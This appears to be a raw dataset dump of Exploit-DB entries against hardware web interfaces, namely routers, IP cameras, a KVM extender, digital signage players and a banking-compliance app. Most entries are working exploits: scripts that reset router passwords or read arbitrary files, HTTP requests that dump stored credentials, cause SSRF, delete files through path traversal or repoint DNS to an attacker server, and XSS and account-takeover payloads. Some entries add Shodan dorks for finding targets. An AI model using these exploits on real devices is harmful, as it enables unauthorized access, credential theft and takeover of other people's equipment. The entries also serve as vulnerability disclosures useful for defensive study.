deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45515
Description: Billion ADSL Router 400G[PII_REDACTED]1 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2018-10-01
Author: cakes

Exploit:
# Exploit Title: Billion ADSL Router 400G[PII_REDACTED]1 - Cross-Site Scripting
# Author: Cakes
# Discovery Date: 2018-09-30
# Vendor Homepage: http://www.billion.com
# Software Link: http://billionfirmware.co.za
# Tested Version:[PII_REDACTED]1
# Tested on OS: Kali Linux
# CVE: N/A

# Description:
# Improper input validation on the  router web interface allows attackers add a persistent 
# Cross-Site scripting attack on the IP Interface field when adding a new static route. 
# Simply intercept a new static route request and add in the XSS

# Poc

POST /configuration/edit-list.html HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://Target/configuration/edit-list.html
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

nodename=&destination=0.0.0.0&netmask=0.0.0.0&gateway=0.0.0.1&interface=<script>alert("Cakes");</script>&cost=1&action=create
Exploit-DB #50100
Description: Black Box Kvm Extender 3.4.31307 - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2021-07-06
Author: Ferhat Çil

Exploit:
# Exploit Title: Black Box Kvm Extender 3.4.31307 - Local File Inclusion
# Date: 05.07.2021
# Exploit Author: Ferhat Çil
# Vendor Homepage: http://www.blackbox.com/
# Software Link: https://www.blackbox.com/en-us/products/black-box-brand-products/kvm
# Version: 3.4.31307
# Category: Webapps
# Tested on: Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target//cgi-bin/show?page=FilePath

import requests
import sys

if name == 'main':
    if len(sys.argv) == 3:
        url = sys.argv[1]
        payload = url + "/cgi-bin/show?page=../../../../../../" + sys.argv[2]
        r = requests.get(payload)
        print(r.text)
    else:
        print("Usage: " + sys.argv[0] + ' http://example.com/ /etc/passwd')
Exploit-DB #31088
Description: BLUE COM Router 5360/52018 - Password Reset
Type: webapps
Platform: hardware
Date: 2014-01-20
Author: KAI

Exploit:
# Exploit Title: BLUE COM Router - 5360/52018 Password Reset Exploit
# Date: 20/1/2013
# Exploit Author: KAI (kaisai12)
# Home: CEH.VN
# Version: BCOM - 5360

# vulnerability - change password easy ! no protect !
#var loc = 'password.cgi?';
#switch ( idx ) {
#         case 2:
#            loc += 'sptPassword=' + encodeUrl(pwdNew.value);
#            break;
#         case 3:
#            loc += 'usrPassword=' + encodeUrl(pwdNew.value);
#            break;
#         default:
#            loc += 'sysPassword=' + encodeUrl(pwdNew.value);
#            break;
#      }
#
#      var code = 'location="' + loc + '"';
#      eval(code);
#   }
#}


import urllib
import sys

def attackrouter(ip,password):
    try:
        params = urllib.urlencode({'sysPassword': str(password)})
        f = urllib.urlopen("http://"+ip+"/password.cgi?%s" % params)
        print "[+] IP: %s - Reset password: %s" % (ip,password)
        return
    except:
        print "[-] error"
       

def main():
    if len(sys.argv) > 2:
       ip = sys.argv[1]
       password = sys.argv[2]
       print "--------------------------------------------------"
       print "Router BCOM Exploit Execute Reset password modem  "
       print "                             author: KAI(CEH>VN)  "
       print "--------------------------------------------------"
       print "[+] Sending exploit: OK"
       attackrouter(ip,password)
    else:
        print "[-] Command error"
        print "[-] Use:bluecomRT.py <ip> <password>"

if __name__ == '__main__':
     main()
Exploit-DB #42588
Description: Brickcom IP Camera - Credentials Disclosure
Type: webapps
Platform: hardware
Date: 2017-08-29
Author: Emiliano Ipar

Exploit:
1. Advisory Information
========================================
Title:

Brickcom IP-Camera Remote Credentials and Settings Disclosure


Vendor Homepage:

http://www.brickcom.com

Tested on Camera types:

WCB-040Af, WCB-100A, WCB-100Ae, OB-302Np, OB-300Af, OB-500Af


Remotely Exploitable:

Yes

Vulnerability:

Username / Password / Settings Disclosure (Critical)

Shodan Dork:

title:"Brickcom"


Date:

14/12/2016

Authors:

Emiliano Ipar         (@maninoipar)      (linkedin.com/in/emilianoipar)

Ignacio Agustín Lizaso         (@ignacio_lizaso) (linkedin.com/in/ignacio-
lizaso-9ab73359)
Gastón Emanuel Rivadero (@derlok_epsilon) (linkedin.com/in/gaston-
emanuel-rivadero-858b9ba)


2. CREDIT
========================================
This vulnerability was identified during penetration test and Research by
Emiliano Ipar, Ignacio Lizaso and Gastón Rivadero.


3. Description
========================================
Brickom Cameras allow a low-privilege user to disclose every configuration
in the NVRAM, including credentials in clear text, remotely by making a
simple requests. This vulnerability, coupled with the fact that there are
two default users with known passwords which are rarely modified, allows an
attacker to disclose the admin password and latter every config.

The most Critical API call is users.cgi?action=getUsers, which provides
every user credential. Many other API calls to get information for the WIFI
password or FTP credentials, even the whole configuration, are affected
depending on the camera model.

On the hardware side, the UART console of some models (example: WCB-040Af,
with baudrate 38400) is exposed in the PCB and after soldering the
corresponding pins and connecting, the resulting shell has root access. A
simple NVSHOW command will list every config available in clear text,
including credentials.


4. Proof-of-Concept:
========================================
Using the following GET request:

curl http://<IP>:<PORT>/cgi-bin/users.cgi?action=getUsers -u user:pass -v

Request:
----------
> GET /cgi-bin/users.cgi?action=getUsers HTTP/1.1
> Authorization: Basic <BASE64 user:pass>
> User-Agent: curl/7.35.0
> Host: <IP>:<PORT>
> Accept: */*
>


Response:
----------
< HTTP/1.1 200 Ok
< Server: mini_httpd
< Cache-Control: no-cache
< Pragma: no-cache
< Expires: 0
< Content-Type: text/html
< Connection: close
<
size=3
User1.index=0
User1.username=admin
User1.password=admin
User1.privilege=1

User2.index=1
User2.username=viewer
User2.[CREDENTIAL_REDACTED]
User2.privilege=0

User3.index=3
User3.username=rviewer
User3.[CREDENTIAL_REDACTED]
User3.privilege=2

5. SOLUTION
========================================
The vendor has been contacted and the firmware was updated. See disclosure
in:

https://www.brickcom.com/news/productCERT_security_advisorie.php
Exploit-DB #43364
Description: BrightSign Digital Signage - Multiple Vulnerablities
Type: webapps
Platform: hardware
Date: 2017-12-19
Author: Information Paradox

Exploit:
# Exploit Title: BrightSign Digital Signage (Multiple Vulnerabilities)
# Date: 12/15/17
# Exploit Author: singularitysec@gmail.com
# Vectors: XSS, Directory Traversal, File Modification, Information Leakage


The BrightSign Digital Signage (4k242) device (Firmware 6.2.63 and below)
suffers from multiple vulnerabilities.

The pages:

/network_diagnostics.html
/storage_info.html

Suffer from a Cross-Site Scripting vulnerability. The REF parameter for
these pages do not sanitize user input, resulting in arbitrary execution,
token theft and related attacks.



The RP parameter in STORAGE.HTML suffers from a directory
traversal/information leakage weakness:
/storage.html?rp=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc

Through parameter manipulation, the file system can be traversed,
unauthenticated, allowing for leakage of information and compromise of the
device.

This page also allows for unauthenticated upload of files.

/tools.html

Page allows for unauthenticated rename/manipulation of files.

When combined, these vulnerabilities allow for compromise of both end users
and the device itself.

Ex. A malicious attacker can upload a malicious page of their choosing and
steal credentials, host malicious content or distribute content through the
device, which accepts large format SD cards.
Exploit-DB #48844
Description: BrightSign Digital Signage Diagnostic Web Server 8.2.26 - File Delete Path Traversal
Type: webapps
Platform: hardware
Date: 2020-10-01
Author: LiquidWorm

Exploit:
# Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - File Delete Path Traversal
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.spinetix.com
# Version: <= 8.2.26

SpinetiX Fusion Digital Signage 3.4.8 File Backup/Delete Path Traversal


Vendor: SpinetiX AG
Product web page: https://www.spinetix.com
Affected version: <= 3.4.8 (1.0.36274)

Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
We believe in the power of digital signage as a dynamic new storytelling platform
to engage with people. For more than 13 years, we have been constantly innovating
to deliver cutting-edge digital signage solutions that help our customers shine.
Fusion is a built-in content management application accessible from a standard web
browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
not require any additional license, cost, or software installation.

Desc: The application suffers from an authenticated path traversal vulnerability.
Input passed via several parameters in index.php script is not properly verified
before being used to create and delete files. This can be exploited to write backup
files to an arbitrary location and/or delete arbitrary files via traversal attacks. 

Tested on: Apache 2.2.34
           PHP/5.3.18-2
           Linux 2.6.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5594
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5594.php


03.08.2020

--


File Backup Path Traversal:
---------------------------

POST /fusion/index.php?r=backup/create HTTP/1.1
Host: 192.168.1.1
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mooshoo/1.2
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.1
Referer: http://192.168.1.1/fusion/index.php?r=settings/settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: fusionsess=vb5se309b2seig780p47ch0pn1
Connection: close

SystemBackup%5Bname%5D=..%2Ftest&SystemBackup%5Bbackupall%5D=0


File Delete (test.7z) Path Traversal:
-------------------------------------

GET /fusion/index.php?r=backup/delete&id=backup%3A../test&_=[PII_REDACTED]20 HTTP/1.1
Host: 192.168.1.1


Arbitrary File Delete Null Terminated String Extension Bypass Path Traversal:
-----------------------------------------------------------------------------

GET /fusion/index.php?r=backup/delete&id=backup%3A../scripts/layouttheme.js%00&_=[PII_REDACTED]20 HTTP/1.1
Host: 192.168.1.1


Arbitrary Image Delete:
-----------------------

GET /fusion/index.php?r=files/delete&id=image%3A../dirtysecret.svg&_=[PII_REDACTED]54 HTTP/1.1
Host: 192.168.1.1
Exploit-DB #48843
Description: BrightSign Digital Signage Diagnostic Web Server 8.2.26 - Server-Side Request Forgery (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2020-10-01
Author: LiquidWorm

Exploit:
# Exploit Title: BrightSign Digital Signage Diagnostic Web Server 8.2.26 - Server-Side Request Forgery (Unauthenticated)
# Date: 2020-09-30
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.brightsign.biz
# Version: <= 8.2.26

BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated SSRF


Vendor: BrightSign, LLC
Product web page: https://www.brightsign.biz
Affected version: Model: XT, XD, HD, LS
                  Firmware / OS version: <=8.2.26


Summary: BrightSign designs media players and provides free software
and cloud networking solutions for the commercial digital signage market
worldwide, serving all vertical segments of the marketplace.

Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability
exists in the BrightSign digital signage media player affecting the
Diagnostic Web Server (DWS). The application parses user supplied data
in the 'url' GET parameter to construct a diagnostics request to the
Download Speed Test service. Since no validation is carried out on the
parameter, an attacker can specify an external domain and force the
application to make an HTTP request to an arbitrary destination host.
This can be used by an external attacker for example to bypass firewalls
and initiate a service and network enumeration on the internal network
through the affected application.

Tested on: roNodeJS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5595
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5595.php


01.08.2020

--


PoC:

# curl http://10.0.0.17/speedtest?url=127.0.0.1:22
Exploit-DB #33353
Description: Broadcom PIPA C211 - Sensitive Information Disclosure
Type: webapps
Platform: hardware
Date: 2014-05-14
Author: Portcullis

Exploit:
Vulnerability title: Unauthenticated Credential And Configuration
Retrieval In Broadcom Ltd PIPA C211
CVE: CVE-2014-2046
Vendor: Broadcom Ltd
Product: PIPA C211
Affected version: Soft Rev: SR1.1, HW Rev: PIPA C211 rev2
Fixed version: N/A
Reported by: Jerzy Kramarz

Details:

By sending the following request to the BROADCOM PIPA C211 web interface it is possible to retrieve complete system configuration including administrative credentials, SMTP community strings, FTP upload credentials and all other system user credentials:

POST /cgi-bin/rpcBridge HTTP/1.1
Host: <IP>
Proxy-Connection: keep-alive
Content-Length: 574
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36
Origin: http://<IP>
Content-Type: text/xml
Accept: */*
DNT: 1
Referer: http://:<IP>/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4

<methodCall><methodName>config.getValuesHashExcludePaths</methodName><params><param><value><string>sys</string></value></param><param><value><int>0</int></value></param><param><value><int>0</int></value></param><param><value><array><data><value><string>sys.applications.aptcodec.horizonnextgen.status</string></value><value><string>sys.applications.aptcodec.horizonnextgen.configuration</string></value></data></array></value></param></params></methodCall>

        

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2046/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
Exploit-DB #27134
Description: Broadkam PJ871 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2013-07-27
Author: d3c0der

Exploit:
#!/usr/bin/perl
#d3c0der


use HTTP::Request;
use LWP::UserAgent;

 

print "= Target : ";
$ip=<STDIN>;
chomp $ip;
print "= new password : ";
$npass=<STDIN>;
chomp $npass;

if ( $ip !~ /^http:/ ) {
$ip = 'http://' . $ip;
}
if ( $ip !~ /\/$/ ) {
$ip = $ip . '/';
}
print "\n";

print "->attacking , plz wait ! : $ip\n";
 

 

@path1=("password.cgi?sys[CREDENTIAL_REDACTED]");

foreach $ways(@path1){

$final=$ip.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

 
}
 
print "[-] password changed to $npass \n";
Exploit-DB #37214
Description: Broadlight Residential Gateway DI3124 - Remote DNS Change
Type: webapps
Platform: hardware
Date: 2015-06-06
Author: Todor Donev

Exploit:
  Broadlight Residential Gateway DI3124 
  Unauthenticated Remote DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  No description for morons, 
  script kiddies & noobs !!

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!

  ShodanHQ Dork:
  Server: thttpd/2.25b 29dec2003 Content-Length: 348414


[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getdns.cgi?"
{"success":true,"totalCount":2,"rows":[{"domain":"googleDNS1","serverip":"8.8.8.8","type":"manual"},
{"domain":"googleDNS2","serverip":"8.8.4.4","type":"manual"}]}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/savedns.cgi?domainname=evilDNS&domainserverip=133.71.33.7"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.8.8"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.4.4"
{success:true,errormsg:"Operation Succeeded"}

[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getconf.cgi" | egrep '(username|password)'
<username>admin</username>
<password>admin</password>
Exploit-DB #48653
Description: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)
Type: webapps
Platform: hardware
Date: 2020-07-08
Author: William Summerhill

Exploit:
# Exploit title: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)
# Exploit Author: William Summerhill
# Date: 2020-06-22
# Vendor Homepage:bhttps://www.globalradar.com/
# Version: BSA Radar - Version 1.6.7234.24750 and lower
# CVE: CVE-2020-14944

# Description: The Global RADAR BSA Radar 1.6.7234.X application lacks valid authorization 
# controls in multiple functions while logged into the application. 
# This can allow for manipulation and takeover of user accounts if successfully exploited.

# The following vulnerable functions are exposed: ChangePassword, SaveUserProfile, GetUser

Proof of Concept:

	1. ChangePassword API endpoint - Allows the ability to update the password belonging to another account by their UserID, and therefore leading to account takeover.
	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/ChangePassword

		{"password":
		{"UserID":XXXX,"NewPassword":"NEWPASSHERE","NewPasswordConfirm":"NEWPASSHERE",<REMAINDER OF REQUEST HERE>} }

	The UserID and NewPassword parameters can be forged to force the password change of another existing user account by using their UserID.

	2. SaveUserProfile API endpoint - Allows the ability to update the user profile belonging to another account by using their UserID. This includes modifiable details like first name, last name, email, and phone number. This also allows for injection of a Stored Cross-Site Scripting (XSS) into arbitrary user account profiles as the first name and last name parameters are vulnerable. This can allow for session hijacking, stealing application data or redirecting users to attacker-controlled applications for phishing attacks.
	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/SaveUserProfile

		{"user":
		{"UserID":XXXX,"BankID":XXX,"Firstname":<ARBITRARY INPUT HERE OR STORED XSS SCRIPT>","Lastname":"<ARBITRARY INPUT HERE OR STORED XSS SCRIPT>","Title":"","Phone":"<ARBITRARY INPUT HERE>","Email":"<Correct email here>",<REMAINDER OF REQUEST HERE>} }

	Multiple paramaters above can be forged and modified for existing UserID accounts. The Firstname and Lastname parameters are vulnerable to a stored XSS attack which can be used to inject malicious scripts into existing user accounts to steal sessions or account data, or to redirect users to malicious pages. 

	3. GetUser API endpoint - Allows the ability to view the user account details of any arbitrary user by enumerating their UserID.
	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/GetUser

		{"userID":XXXX }

	The UserID paramter can be forged to enumerate over existing userID's in order to return their account details such as full name, username, user permissions, account role, email, and password question.

Tested on: Windows

CVE: CVE-2020-14944

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14944